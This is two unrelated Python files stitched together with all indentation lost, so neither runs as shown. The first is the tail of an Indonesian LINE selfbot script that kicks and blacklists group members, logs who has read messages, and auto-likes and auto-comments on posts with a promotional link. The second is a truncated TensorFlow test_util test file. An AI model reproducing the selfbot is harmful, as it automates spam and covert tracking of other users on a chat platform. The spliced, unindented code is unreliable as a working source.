msg.contentMetadata = {'mid': "ueacedbe88bf6e2c5cf6188b3a4a26e18',"}
kr1.sendMessage(msg)
elif msg.text in ["Kr","kr"]:
if msg.from_ in owner:
kr1.sendText(msg.to,"Kr masih aktif Say...!!!")
#===============================================
if op.type == 17:
if op.param2 not in Bots:
if op.param2 in Bots or admin:
pass
if wait["protect"] == True:
if wait["blacklist"][op.param2] == True:
try:
kr1.kickoutFromGroup(op.param1,[op.param2])
G = kr1.getGroup(op.param1)
G.preventJoinByTicket = True
kr1.updateGroup(G)
except:
try:
kr1.kickoutFromGroup(op.param1,[op.param2])
G = kr1.getGroup(op.param1)
G.preventJoinByTicket = True
kr1.updateGroup(G)
except:
pass
if op.type == 19:
if op.param2 not in Bots:
if op.param2 in Bots or admin:
pass
elif wait["protect"] == True:
wait ["blacklist"][op.param2] = True
kr1.kickoutFromGroup(op.param1,[op.param2])
kr1.inviteIntoGroup(op.param1,[op.param2])
if op.type == 13:
if op.param2 not in Bots:
if op.param2 in Bots or admin:
pass
elif wait["inviteprotect"] == True:
wait ["blacklist"][op.param2] = True
kr1.kickoutFromGroup(op.param1,[op.param2])
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["inviteprotect"] == True:
wait ["blacklist"][op.param2] = True
kr1.cancelGroupInvitation(op.param1,[op.param3])
if op.param2 not in Bots:
if op.param2 in Bots:
pass
elif wait["cancelprotect"] == True:
wait ["blacklist"][op.param2] = True
kr1.cancelGroupInvitation(op.param1,[op.param3])
if op.type == 11:
if op.param2 not in Bots:
if op.param2 in Bots or admin:
pass
elif wait["linkprotect"] == True:
wait ["blacklist"][op.param2] = True
G = kr1.getGroup(op.param1)
G.preventJoinByTicket = True
kr1.updateGroup(G)
kr1.kickoutFromGroup(op.param1,[op.param2])
if op.type == 5:
if wait['autoAdd'] == True:
if (wait['message'] in [""," ","\n",None]):
pass
else:
kr1.sendText(op.param1,str(wait['message']))
if op.type == 11:
if wait["linkprotect"] == True:
if op.param2 not in Bots:
G = kr1.getGroup(op.param1)
G.preventJoinByTicket = True
kr1.kickoutFromGroup(op.param1,[op.param3])
kr1.updateGroup(G)
if op.type == 17:
if wait["Wc"] == True:
if op.param2 in Bots:
return
ginfo = kr1.getGroup(op.param1)
kr1.sendText(op.param1, "╔═════════════\n║Selamat Datang Di " + str(ginfo.name) + "\n╠═════════════\n" + "║Founder =>>> " + str(ginfo.name) + " :\n║" + ginfo.creator.displayName + "\n╠═════════════\n" + "║😊Semoga Betah Kak 😘 \n╚═════════════")
print "MEMBER HAS JOIN THE GROUP"
if op.type == 17:
if wait["Wc"] == True:
if op.param2 in Bots:
return
G = kr1.getGroup(op.param1)
h = kr1.getContact(op.param2)
kr1.sendImageWithURL(op.param1, "http://dl.profile.line-cdn.net/" + h.pictureStatus)
print "MEMBER HAS JOIN THE GROUP"
if op.type == 15:
if wait["Lv"] == True:
if op.param2 in Bots:
return
kr1.sendText(op.param1, "╔═════════════\n║Baper Tuh Orang :v \n║Semoga Bahagia ya 😊 \n╚═════════════")
print "MEMBER HAS LEFT THE GROUP"
#------------------------------------------------------------------------------#
if op.type == 55:
try:
if op.param1 in wait2['readPoint']:
if op.param2 in wait2['readMember'][op.param1]:
pass
else:
wait2['readMember'][op.param1] += op.param2
wait2['ROM'][op.param1][op.param2] = op.param2
with open('sider.json', 'w') as fp:
json.dump(wait2, fp, sort_keys=True, indent=4)
else:
pass
except:
pass
if op.type == 59:
print op
except Exception as error:
print error
def autolike():
count = 1
while True:
try:
for posts in kr1.activity(1)["result"]["posts"]:
if posts["postInfo"]["liked"] is False:
if wait['likeOn'] == True:
kr1.like(posts["userInfo"]["writerMid"], posts["postInfo"]["postId"], 1001)
print "Like"
if wait["commentOn"] == True:
if posts["userInfo"]["writerMid"] in wait["commentBlack"]:
pass
else:
kr1.comment(posts["userInfo"]["writerMid"],posts["postInfo"]["postId"],wait["comment"])
except:
count += 1
if(count == 50):
sys.exit(0)
else:
pass
thread2 = threading.Thread(target=autolike)
thread2.daemon = True
thread2.start()
def likefriend():
for zx in range(0,20):
hasil = kr1.activity(limit=20)
if hasil['result']['posts'][zx]['postInfo']['liked'] == False:
try:
kr1.like(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],likeType=1001)
kr1.comment(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],"👉ąµţ๏ℓɨЌ€ By C-A_Bot😊\n\n☆º°˚˚✰ tɛǟʍ ċʏɮɛʀ-ǟʀʍʏ ɮօt ✰º°˚˚☆(^ω^)\nąµţ๏ℓɨЌ€ by Kris ⭐👈 »»» http://line.me/ti/p/~krissthea «««")
print "Like"
except:
pass
else:
print "Already Liked Om"
time.sleep(0.60)
def likeme():
for zx in range(0,20):
hasil = kr1.activity(limit=20)
if hasil['result']['posts'][zx]['postInfo']['liked'] == False:
if hasil['result']['posts'][zx]['userInfo']['mid'] in mid:
try:
kr1.like(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],likeType=1002)
kr1.comment(hasil['result']['posts'][zx]['userInfo']['mid'],hasil['result']['posts'][zx]['postInfo']['postId'],"👉ąµţ๏ℓɨЌ€ By C-A_Bot😊\n\n☆º°˚˚✰ tɛǟʍ ċʏɮɛʀ-ǟʀʍʏ ɮօt ✰º°˚˚☆(^ω^)\nąµţ๏ℓɨЌ€ by Kris ⭐👈 »»» http://line.me/ti/p/~krissthea «««")
print "Like"
except:
pass
else:
print "Status Sudah di Like Om"
while True:
try:
Ops = kr1.fetchOps(kr1.Poll.rev, 5)
except EOFError:
raise Exception("It might be wrong revision\n" + str(kr1.Poll.rev))
for Op in Ops:
if (Op.type != OpType.END_OF_OPERATION):
kr1.Poll.rev = max(kr1.Poll.rev, Op.revision)
bot(Op)
|
test_util_test.py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Tests for tensorflow.ops.test_util."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import collections
import copy
import random
import threading
import weakref
from absl.testing import parameterized
import numpy as np
from google.protobuf import text_format
from tensorflow.core.framework import graph_pb2
from tensorflow.core.protobuf import meta_graph_pb2
from tensorflow.python.eager import context
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import errors
from tensorflow.python.framework import ops
from tensorflow.python.framework import test_ops # pylint: disable=unused-import
from tensorflow.python.framework import test_util
from tensorflow.python.ops import control_flow_ops
from tensorflow.python.ops import math_ops
from tensorflow.python.ops import random_ops
from tensorflow.python.ops import resource_variable_ops
from tensorflow.python.ops import variable_scope
from tensorflow.python.ops import variables
from tensorflow.python.platform import googletest
class TestUtilTest(test_util.TensorFlowTestCase, parameterized.TestCase):
@test_util.run_deprecated_v1
def test_assert_ops_in_graph(self):
with self.test_session():
constant_op.constant(["hello", "taffy"], name="hello")
test_util.assert_ops_in_graph({"hello": "Const"}, ops.get_default_graph())
self.assertRaises(ValueError, test_util.assert_ops_in_graph,
{"bye": "Const"}, ops.get_default_graph())
self.assertRaises(ValueError, test_util.assert_ops_in_graph,
{"hello": "Variable"}, ops.get_default_graph())
@test_util.run_deprecated_v1
def test_session_functions(self):
with self.test_session() as sess:
sess_ref = weakref.ref(sess)
with self.cached_session(graph=None, config=None) as sess2:
# We make sure that sess2 is sess.
assert sess2 is sess
# We make sure we raise an exception if we use cached_session with
# different values.
with self.assertRaises(ValueError):
with self.cached_session(graph=ops.Graph()) as sess2:
pass
with self.assertRaises(ValueError):
with self.cached_session(force_gpu=True) as sess2:
pass
# We make sure that test_session will cache the session even after the
# with scope.
assert not sess_ref()._closed
with self.session() as unique_sess:
unique_sess_ref = weakref.ref(unique_sess)
with self.session() as sess2:
assert sess2 is not unique_sess
# We make sure the session is closed when we leave the with statement.
assert unique_sess_ref()._closed
def test_assert_equal_graph_def(self):
with ops.Graph().as_default() as g:
def_empty = g.as_graph_def()
constant_op.constant(5, name="five")
constant_op.constant(7, name="seven")
def_57 = g.as_graph_def()
with ops.Graph().as_default() as g:
constant_op.constant(7, name="seven")
constant_op.constant(5, name="five")
def_75 = g.as_graph_def()
# Comparing strings is order dependent
self.assertNotEqual(str(def_57), str(def_75))
# assert_equal_graph_def doesn't care about order
test_util.assert_equal_graph_def(def_57, def_75)
# Compare two unequal graphs
with self.assertRaisesRegexp(AssertionError,
r"^Found unexpected node '{{node seven}}"):
test_util.assert_equal_graph_def(def_57, def_empty)
def testIsGoogleCudaEnabled(self):
# The test doesn't assert anything. It ensures the py wrapper
# function is generated correctly.
if test_util.IsGoogleCudaEnabled():
print("GoogleCuda is enabled")
else:
print("GoogleCuda is disabled")
def testIsMklEnabled(self):
# This test doesn't assert anything.
# It ensures the py wrapper function is generated correctly.
if test_util.IsMklEnabled():
print("MKL is enabled")
else:
print("MKL is disabled")
@test_util.run_in_graph_and_eager_modes
def testAssertProtoEqualsStr(self):
graph_str = "node { name: 'w1' op: 'params' }"
graph_def = graph_pb2.GraphDef()
text_format.Merge(graph_str, graph_def)
# test string based comparison
self.assertProtoEquals(graph_str, graph_def)
# test original comparison
self.assertProtoEquals(graph_def, graph_def)
@test_util.run_in_graph_and_eager_modes
def testAssertProtoEqualsAny(self):
# Test assertProtoEquals with a protobuf.Any field.
meta_graph_def_str = """
meta_info_def {
meta_graph_version: "outer"
any_info {
[type.googleapis.com/tensorflow.MetaGraphDef] {
meta_info_def {
meta_graph_version: "inner"
}
}
}
}
"""
meta_graph_def_outer = meta_graph_pb2.MetaGraphDef()
meta_graph_def_outer.meta_info_def.meta_graph_version = "outer"
meta_graph_def_inner = meta_graph_pb2.MetaGraphDef()
meta_graph_def_inner.meta_info_def.meta_graph_version = "inner"
meta_graph_def_outer.meta_info_def.any_info.Pack(meta_graph_def_inner)
self.assertProtoEquals(meta_graph_def_str, meta_graph_def_outer)
self.assertProtoEquals(meta_graph_def_outer, meta_graph_def_outer)
# Check if the assertion failure message contains the content of
# the inner proto.
with self.assertRaisesRegexp(AssertionError,
r'meta_graph_version: "inner"'):
self.assertProtoEquals("", meta_graph_def_outer)
@test_util.run_in_graph_and_eager_modes
def testNDArrayNear(self):
a1 = np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])
a2 = np.array([[1.0, 2.0, 3.0], [4.0, 5.0, 6.0]])
a3 = np.array([[10.0, 20.0, 30.0], [40.0, 50.0, 60.0]])
self.assertTrue(self._NDArrayNear(a1, a2, 1e-5))
self.assertFalse(self._NDArrayNear(a1, a3, 1e-5))
@test_util.run_in_graph_and_eager_modes
def testCheckedThreadSucceeds(self):
def noop(ev):
ev.set()
event_arg = threading.Event()
self.assertFalse(event_arg.is_set())
t = self.checkedThread(target=noop, args=(event_arg,))
t.start()
t.join()
self.assertTrue(event_arg.is_set())
@test_util.run_in_graph_and_eager_modes
def testCheckedThreadFails(self):
def err_func():
return 1 // 0
t = self.checkedThread(target=err_func)
t.start()
with self.assertRaises(self.failureException) as fe:
t.join()
self.assertTrue("integer division or modulo by zero" in str(fe.exception))
@test_util.run_in_graph_and_eager_modes
def testCheckedThreadWithWrongAssertionFails(self):
x = 37
def err_func():
self.assertTrue(x < 10)
t = self.checkedThread(target=err_func)
t.start()
with self.assertRaises(self.failureException) as fe:
t.join()
self.assertTrue("False is not true" in str(fe.exception))
@test_util.run_in_graph_and_eager_modes
def testMultipleThreadsWithOneFailure(self):
def err_func(i):
self.assertTrue(i != 7)
threads = [
self.checkedThread(
target=err_func, args=(i,)) for i in range(10)
]
for t in threads:
t.start()
for i, t in enumerate(threads):
if i == 7:
with self.assertRaises(self.failureException):
t.join()
else:
t.join()
def _WeMustGoDeeper(self, msg):
with self.assertRaisesOpError(msg):
with ops.Graph().as_default():
node_def = ops._NodeDef("IntOutput", "name")
node_def_orig = ops._NodeDef("IntOutput", "orig")
op_orig = ops.Operation(node_def_orig, ops.get_default_graph())
op = ops.Operation(node_def, ops.get_default_graph(),
original_op=op_orig)
raise errors.UnauthenticatedError(node_def, op, "true_err")
@test_util.run_in_graph_and_eager_modes
def testAssertRaisesOpErrorDoesNotPassMessageDueToLeakedStack(self):
with self.assertRaises(AssertionError):
self._WeMustGoDeeper("this_is_not_the_error_you_are_looking_for")
self._WeMustGoDeeper("true_err")
self._WeMustGoDeeper("name")
self._WeMustGoDeeper("orig")
@test_util.run_in_graph_and_eager_modes
def testAllCloseTensors(self):
a_raw_data = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
a = constant_op.constant(a_raw_data)
b = math_ops.add(1, constant_op.constant([[0, 1, 2], [3, 4, 5], [6, 7, 8]]))
self.assertAllClose(a, b)
self.assertAllClose(a, a_raw_data)
a_dict = {"key": a}
b_dict = {"key": b}
self.assertAllClose(a_dict, b_dict)
x_list = [a, b]
y_list = [a_raw_data, b]
self.assertAllClose(x_list, y_list)
@test_util.run_in_graph_and_eager_modes
def testAllCloseScalars(self):
self.assertAllClose(7, 7 + 1e-8)
with self.assertRaisesRegexp(AssertionError, r"Not equal to tolerance"):
self.assertAllClose(7, 7 + 1e-5)
@test_util.run_in_graph_and_eager_modes
def testAllCloseList(self):
with self.assertRaisesRegexp(AssertionError, r"not close dif"):
self.assertAllClose([0], [1])
@test_util.run_in_graph_and_eager_modes
def testAllCloseDictToNonDict(self):
with self.assertRaisesRegexp(ValueError, r"Can't compare dict to non-dict"):
self.assertAllClose(1, {"a": 1})
with self.assertRaisesRegexp(ValueError, r"Can't compare dict to non-dict"):
self.assertAllClose({"a": 1}, 1)
@test_util.run_in_graph_and_eager_modes
def testAllCloseNamedtuples(self):
a = 7
b = (2., 3.)
c = np.ones((3, 2, 4)) * 7.
expected = {"a": a, "b": b, "c": c}
my_named_tuple = collections.namedtuple("MyNamedTuple", ["a", "b", "c"])
# Identity.
self.assertAllClose(expected, my_named_tuple(a=a, b=b, c=c))
self.assertAllClose(
my_named_tuple(a=a, b=b, c=c), my_named_tuple(a=a, b=b, c=c))
@test_util.run_in_graph_and_eager_modes
def testAllCloseDicts(self):
a = 7
b = (2., 3.)
c = np.ones((3, 2, 4)) * 7.
expected = {"a": a, "b": b, "c": c}
# Identity.
self.assertAllClose(expected, expected)
self.assertAllClose(expected, dict(expected))
# With each item removed.
for k in expected:
actual = dict(expected)
del actual[k]
with self.assertRaisesRegexp(AssertionError, r"mismatched keys"):
self.assertAllClose(expected, actual)
# With each item changed.
with self.assertRaisesRegexp(AssertionError, r"Not equal to tolerance"):
self.assertAllClose(expected, {"a": a + 1e-5, "b": b, "c": c})
with self.assertRaisesRegexp(AssertionError, r"Shape mismatch"):
self.assertAllClose(expected, {"a": a, "b": b + (4.,), "c": c})
c_copy = np.array(c)
c_copy[1, 1, 1] += 1e-5
with self.assertRaisesRegexp(AssertionError, r"Not equal to tolerance"):
self.assertAllClose(expected, {"a": a, "b": b, "c": c_copy})
@test_util.run_in_graph_and_eager_modes
def testAllCloseListOfNamedtuples(self):
my_named_tuple = collections.namedtuple("MyNamedTuple", ["x", "y"])
l1 = [
my_named_tuple(x=np.array([[2.3, 2.5]]), y=np.array([[0.97, 0.96]])),
my_named_tuple(x=np.array([[3.3, 3.5]]), y=np.array([[0.98, 0.99]]))
]
l2 = [
([[2.3, 2.5]], [[0.97, 0.96]]),
([[3.3, 3.5]], [[0.98, 0.99]]),
]
self.assertAllClose(l1, l2)
@test_util.run_in_graph_and_eager_modes
def testAllCloseNestedStructure(self):
a = {"x": np.ones((3, 2, 4)) * 7, "y": (2, [{"nested": {"m": 3, "n": 4}}])}
self.assertAllClose(a, a)
b = copy.deepcopy(a)
self.assertAllClose(a, b)
# Test mismatched values
b["y"][1][0]["nested"]["n"] = 4.2
with self.assertRaisesRegexp(AssertionError,
r"\[y\]\[1\]\[0\]\[nested\]\[n\]"):
self.assertAllClose(a, b)
@test_util.run_in_graph_and_eager_modes
def testArrayNear(self):
a = [1, 2]
b = [1, 2, 5]
with self.assertRaises(AssertionError):
self.assertArrayNear(a, b, 0.001)
a = [1, 2]
b = [[1, 2], [3, 4]]
with self.assertRaises(TypeError):
self.assertArrayNear(a, b, 0.001)
a = [1, 2]
b = [1, 2]
self.assertArrayNear(a, b, 0.001)
@test_util.skip_if(True) # b/117665998
def testForceGPU(self):
with self.assertRaises(errors.InvalidArgumentError):
with self.test_session(force_gpu=True):
# this relies on us not having a GPU implementation for assert, which
# seems sensible
x = constant_op.constant(True)
y = [15]
control_flow_ops.Assert(x, y).run()
@test_util.run_in_graph_and_eager_modes
def testAssertAllCloseAccordingToType(self):
# test plain int
self.assertAllCloseAccordingToType(1, 1, rtol=1e-8, atol=1e-8)
# test float64
self.assertAllCloseAccordingToType(
np.asarray([1e-8], dtype=np.float64),
np.asarray([2e-8], dtype=np.float64),
rtol=1e-8, atol=1e-8
)
self.assertAllCloseAccordingToType(
constant_op.constant([1e-8], dtype=dtypes.float64),
constant_op.constant([2e-8], dtype=dtypes.float64),
rtol=1e-8,
atol=1e-8)
with (self.assertRaises(AssertionError)):
self.assertAllCloseAccordingToType(
np.asarray([1e-7], dtype=np.float64),
np.asarray([2e-7], dtype=np.float64),
rtol=1e-8, atol=1e-8
)
# test float32
self.assertAllCloseAccordingToType(
np.asarray([1e-7], dtype=np.float32),
np.asarray([2e-7], dtype=np.float32),
rtol=1e-8, atol=1e-8,
float_rtol=1e-7, float_atol=1e-7
)
self.assertAllCloseAccordingToType(
constant_op.constant([1e-7], dtype=dtypes.float32),
constant_op.constant([2e-7], dtype=dtypes.float32),
rtol=1e-8,
atol=1e-8,
float_rtol=1e-7,
float_atol=1e-7)
with (self.assertRaises(AssertionError)):
self.assertAllCloseAccordingToType(
np.asarray([1e-6], dtype=np.float32),
np.asarray([2e-6], dtype=np.float32),
rtol=1e-8, atol=1e-8,
float_rtol=1e-7, float_atol=1e-7
)
# test float16
self.assertAllCloseAccordingToType(
np.asarray([1e-4], dtype=np.float16),
np.asarray([2e-4], dtype=np.float16),
rtol=1e-8, atol=1e-8,
float_rtol=1e-7, float_atol=1e-7,
half_rtol=1e-4, half_atol=1e-4
)
self.assertAllCloseAccordingToType(
constant_op.constant([1e-4], dtype=dtypes.float16),
constant_op.constant([2e-4], dtype=dtypes.float16),
rtol=1e-8,
atol=1e-8,
float_rtol=1e-7,
float_atol=1e-7,
half_rtol=1e-4,
half_atol=1e-4)
with (self.assertRaises(AssertionError)):
self.assertAllCloseAccordingToType(
np.asarray([1e-3], dtype=np.float16),
np.asarray([2e-3], dtype=np.float16),
rtol=1e-8, atol=1e-8,
float_rtol=1e-7, float_atol=1e-7,
half_rtol=1e-4, half_atol=1e-4
)
@test_util.run_in_graph_and_eager_modes
def testAssertAllEqual(self):
i = variables.Variable([100] * 3, dtype=dtypes.int32, name="i")
j = constant_op.constant([20] * 3, dtype=dtypes.int32, name="j")
k = math_ops.add(i, j, name="k")
self.evaluate(variables.global_variables_initializer())
self.assertAllEqual([120] * 3, k)
self.assertAllEqual([20] * 3, j)
with self.assertRaisesRegexp(AssertionError, r"not equal lhs"):
self.assertAllEqual([0] * 3, k)
@test_util.run_in_graph_and_eager_modes
def testAssertNotAllClose(self):
# Test with arrays
self.assertNotAllClose([0.1], [0.2])
with self.assertRaises(AssertionError):
self.assertNotAllClose([-1.0, 2.0], [-1.0, 2.0])
# Test with tensors
x = constant_op.constant([1.0, 1.0], name="x")
y = math_ops.add(x, x)
self.assertAllClose([2.0, 2.0], y)
self.assertNotAllClose([0.9, 1.0], x)
with self.assertRaises(AssertionError):
self.assertNotAllClose([1.0, 1.0], x)
@test_util.run_in_graph_and_eager_modes
def testAssertNotAllCloseRTol(self):
# Test with arrays
with self.assertRaises(AssertionError):
self.assertNotAllClose([1.1, 2.1], [1.0, 2.0], rtol=0.2)
# Test with tensors
x = constant_op.constant([1.0, 1.0], name="x")
y = math_ops.add(x, x)
self.assertAllClose([2.0, 2.0], y)
with self.assertRaises(AssertionError):
self.assertNotAllClose([0.9, 1.0], x, rtol=0.2)
@test_util.run_in_graph_and_eager_modes
def testAssertNotAllCloseATol(self):
# Test with arrays
with self.assertRaises(AssertionError):
self.assertNotAllClose([1.1, 2.1], [1.0, 2.0], atol=0.2)
# Test with tensors
x = constant_op.constant([1.0, 1.0], name="x")
y = math_ops.add(x, x)
self.assertAllClose([2.0, 2.0], y)
with self.assertRaises(AssertionError):
self.assertNotAllClose([0.9, 1.0], x, atol=0.2)
@test_util.run_in_graph_and_eager_modes
def testAssertAllGreaterLess(self):
x = constant_op.constant([100.0, 110.0, 120.0], dtype=dtypes.float32)
y = constant_op.constant([10.0] * 3, dtype=dtypes.float32)
z = math_ops.add(x, y)
self.assertAllClose([110.0, 120.0, 130.0], z)
self.assertAllGreater(x, 95.0)
self.assertAllLess(x, 125.0)
with self.assertRaises(AssertionError):
self.assertAllGreater(x, 105.0)
with self.assertRaises(AssertionError):
self.assertAllGreater(x, 125.0)
with self.assertRaises(AssertionError):
self.assertAllLess(x, 115.0)
with self.assertRaises(AssertionError):
self.assertAllLess(x, 95.0)
@test_util.run_in_graph_and_eager_modes
def testAssertAllGreaterLessEqual(self):
x = constant_op.constant([100.0, 110.0, 120.0], dtype=dtypes.float32)
y = constant_op.constant([10.0] * 3, dtype=dtypes.float32)
z = math_ops.add(x, y)
self.assertAllEqual([110.0, 120.0, 130.0], z)
self.assertAllGreaterEqual(x, 95.0)
self.assertAllLessEqual(x, 125.0)
with self.assertRaises(AssertionError):
self.assertAllGreaterEqual(x, 105.0)
with self.assertRaises(AssertionError):
self.assertAllGreaterEqual(x, 125.0)
with self.assertRaises(AssertionError):
self.assertAllLessEqual(x, 115.0)
with self.assertRaises(AssertionError):
self.assertAllLessEqual(x, 95.0)
@test_util.run_deprecated_v1
def testAssertAllInRangeWithNonNumericValuesFails(self):
s1 = constant_op.constant("Hello, ", name="s1")
c = constant_op.constant([1 + 2j, -3 + 5j], name="c")
b = constant_op.constant([False, True], name="b")
with self.assertRaises(AssertionError):
self.assertAllInRange(s1, 0.0, 1.0)
with self.assertRaises(AssertionError):
self.assertAllInRange(c, 0.0, 1.0)
with self.assertRaises(AssertionError):
self.assertAllInRange(b, 0, 1)
@test_util.run_in_graph_and_eager_modes
def testAssertAllInRange(self):
x = constant_op.constant([10.0, 15.0], name="x")
self.assertAllInRange(x, 10, 15)
with self.assertRaises(AssertionError):
self.assertAllInRange(x, 10, 15, open_lower_bound=True)
with self.assertRaises(AssertionError):
self.assertAllInRange(x, 10, 15, open_upper_bound=True)
with self.assertRaises(AssertionError):
self.assertAllInRange(
x, 10, 15, open_lower_bound=True, open_upper_bound=True)
@test_util.run_in_graph_and_eager_modes
def testAssertAllInRangeErrorMessageEllipses(self):
x_init = np.array([[10.0, 15.0]] * 12)
x = constant_op.constant(x_init, name="x")
with self.assertRaises(AssertionError):
self.assertAllInRange(x, 5, 10)
@test_util.run_in_graph_and_eager_modes
def testAssertAllInRangeDetectsNaNs(self):
x = constant_op.constant(
[[np.nan, 0.0], [np.nan, np.inf], [np.inf, np.nan]], name="x")
with self.assertRaises(AssertionError):
self.assertAllInRange(x, 0.0, 2.0)
@test_util.run_in_graph_and_eager_modes
def testAssertAllInRangeWithInfinities(self):
x = constant_op.constant([10.0, np.inf], name="x")
self.assertAllInRange(x, 10, np.inf)
with self.assertRaises(AssertionError):
self.assertAllInRange(x, 10, np.inf, open_upper_bound=True)
@test_util.run_in_graph_and_eager_modes
def testAssertAllInSet(self):
b = constant_op.constant([True, False], name="b")
x = constant_op.constant([13, 37], name="x")
self.assertAllInSet(b, [False, True])
self.assertAllInSet(b, (False, True))
self.assertAllInSet(b, {False, True})
self.assertAllInSet(x, [0, 13, 37, 42])
self.assertAllInSet(x, (0, 13, 37, 42))
self.assertAllInSet(x, {0, 13, 37, 42})
with self.assertRaises(AssertionError):
self.assertAllInSet(b, [False])
with self.assertRaises(AssertionError):
self.assertAllInSet(x, (42,))
@test_util.run_deprecated_v1
def testRandomSeed(self):
# Call setUp again for WithCApi case (since it makes a new defeault graph
# after setup).
# TODO(skyewm): remove this when C API is permanently enabled.
self.setUp()
a = random.randint(1, 1000)
a_np_rand = np.random.rand(1)
with self.test_session():
a_rand = random_ops.random_normal([1]).eval()
# ensure that randomness in multiple testCases is deterministic.
self.setUp()
b = random.randint(1, 1000)
b_np_rand = np.random.rand(1)
with self.test_session():
b_rand = random_ops.random_normal([1]).eval()
self.assertEqual(a, b)
self.assertEqual(a_np_rand, b_np_rand)
self.assertEqual(a_rand, b_rand)
@test_util.run_in_graph_and_eager_modes
def test_callable_evaluate(self):
def model():
return resource_variable_ops.ResourceVariable(
name="same_name",
initial_value=1) + 1
with context.eager_mode():
self.assertEqual(2, self.evaluate(model))
@test_util.run_in_graph_and_eager_modes
def test_nested_tensors_evaluate(self):
expected = {"a": 1, "b": 2, "nested": {"d": 3, "e": 4}}
nested = {"a": constant_op.constant(1),
"b": constant_op.constant(2),
"nested": {"d": constant_op.constant(3),
"e": constant_op.constant(4)}}
self.assertEqual(expected, self.evaluate(nested))
def test_run_in_graph_and_eager_modes(self):
l = []
def inc(self, with_brackets):
del self # self argument is required by run_in_graph_and_eager_modes.
mode = "eager" if context.executing_eagerly() else "graph"
with_brackets = "with_brackets" if with_brackets else "without_brackets"
l.append((with_brackets, mode))
f = test_util.run_in_graph_and_eager_modes(inc)
f(self, with_brackets=False)
f = test_util.run_in_graph_and_eager_modes()(inc)
f(self, with_brackets=True)
self.assertEqual(len(l), 4)
self.assertEqual(set(l), {
("with_brackets", "graph"),
("with_brackets", "eager"),
("without_brackets", "graph"),
("without_brackets", "eager"),
})
def test_get_node_def_from_graph(self):
graph_def = graph_pb2.GraphDef()
node_foo = graph_def.node.add()
node_foo.name = "foo"
self.assertIs(test_util.get_node_def_from_graph("foo", graph_def), node_foo)
self.assertIsNone(test_util.get_node_def_from_graph("bar", graph_def))
def test_run_in_eager_and_graph_modes_test_class(self):
msg = "`run_in_graph_and_eager_modes` only supports test methods.*"
with self.assertRaisesRegexp(ValueError, msg):
@test_util.run_in_graph_and_eager_modes()
class Foo(object):
pass
del Foo # Make pylint unused happy.
def test_run_in_eager_and_graph_modes_skip_graph_runs_eager(self):
modes = []
def _test(self):
if not context.executing_eagerly():
self.skipTest("Skipping in graph mode")
modes.append("eager" if context.executing_eagerly() else "graph")
test_util.run_in_graph_and_eager_modes(_test)(self)
self.assertEqual(modes, ["eager"])
def test_run_in_eager_and_graph_modes_skip_eager_runs_graph(self):
modes = []
def _test(self):
if context.executing_eagerly():
self.skipTest("Skipping in eager mode")
modes.append("eager" if context.executing_eagerly() else "graph")
test_util.run_in_graph_and_eager_modes(_test)(self)
self.assertEqual(modes, ["graph"])
@test_util.run_deprecated_v1
def test_run_in_graph_and_eager_modes_setup_in_same_mode(self):
modes = []
mode_name = lambda: "eager" if context.executing_eagerly() else "graph"
class ExampleTest(test_util.TensorFlowTestCase):
def runTest(self):
pass
def setUp(self):
modes.append("setup_" + mode_name())
@test_util.run_in_graph_and_eager_modes
def testBody(self):
modes.append("run_" + mode_name())
e = ExampleTest()
e.setUp()
e.testBody()
self.assertEqual(modes[0:2], ["setup_graph", "run_graph"])
self.assertEqual(modes[2:], ["setup_eager", "run_eager"])
@parameterized.named_parameters(dict(testcase_name="argument",
arg=True))
@test_util.run_in_graph_and_eager_modes
def test_run_in_graph_and_eager_works_with_parameterized_keyword(self, arg):
self.assertEqual(arg, True)
def test_build_as_function_and_v1_graph(self):
class GraphModeAndFuncionTest(parameterized.TestCase):
def __init__(inner_self): # pylint: disable=no-self-argument
super(GraphModeAndFuncionTest, inner_self).__init__()
inner_self.graph_mode_tested = False
inner_self.inside_function_tested = False
def runTest(self):
del self
@test_util.build_as_function_and_v1_graph
def test_modes(inner_self): # pylint: disable=no-self-argument
is_building_function = ops.get_default_graph().building_function
if is_building_function:
self.assertFalse(inner_self.inside_function_tested)
inner_self.inside_function_tested = True
else:
self.assertFalse(inner_self.graph_mode_tested)
inner_self.graph_mode_tested = True
test_object = GraphModeAndFuncionTest()
test_object.test_modes_v1_graph()
test_object.test_modes_function()
self.assertTrue(test_object.graph_mode_tested)
self.assertTrue(test_object.inside_function_tested)
# Its own test case to reproduce variable sharing issues which only pop up when
# setUp() is overridden and super() is not called.
class GraphAndEagerNoVariableSharing(test_util.TensorFlowTestCase):
def setUp(self):
pass # Intentionally does not call TensorFlowTestCase's super()
@test_util.run_in_graph_and_eager_modes
def test_no_variable_sharing(self):
variable_scope.get_variable(
name="step_size",
initializer=np.array(1e-5, np.float32),
use_resource=True,
trainable=False)
class GarbageCollectionTest(test_util.TensorFlowTestCase):
def test_no_reference_cycle_decorator(self):
class ReferenceCycleTest(object):
def __init__(inner_self): # pylint: disable=no-self-argument
inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name
@test_util.assert_no_garbage_created
def test_has_cycle(self):
a = []
a.append(a)
@test_util.assert_no_garbage_created
def test_has_no_cycle(self):
pass
with self.assertRaises(AssertionError):
ReferenceCycleTest().test_has_cycle()
ReferenceCycleTest().test_has_no_cycle()
@test_util.run_in_graph_and_eager_modes
def test_no_leaked_tensor_decorator(self):
class LeakedTensorTest(object):
def __init__(inner_self): # pylint: disable=no-self-argument
inner_self.assertEqual = self.assertEqual # pylint: disable=invalid-name
@test_util.assert_no_new_tensors
def test_has_leak(self):
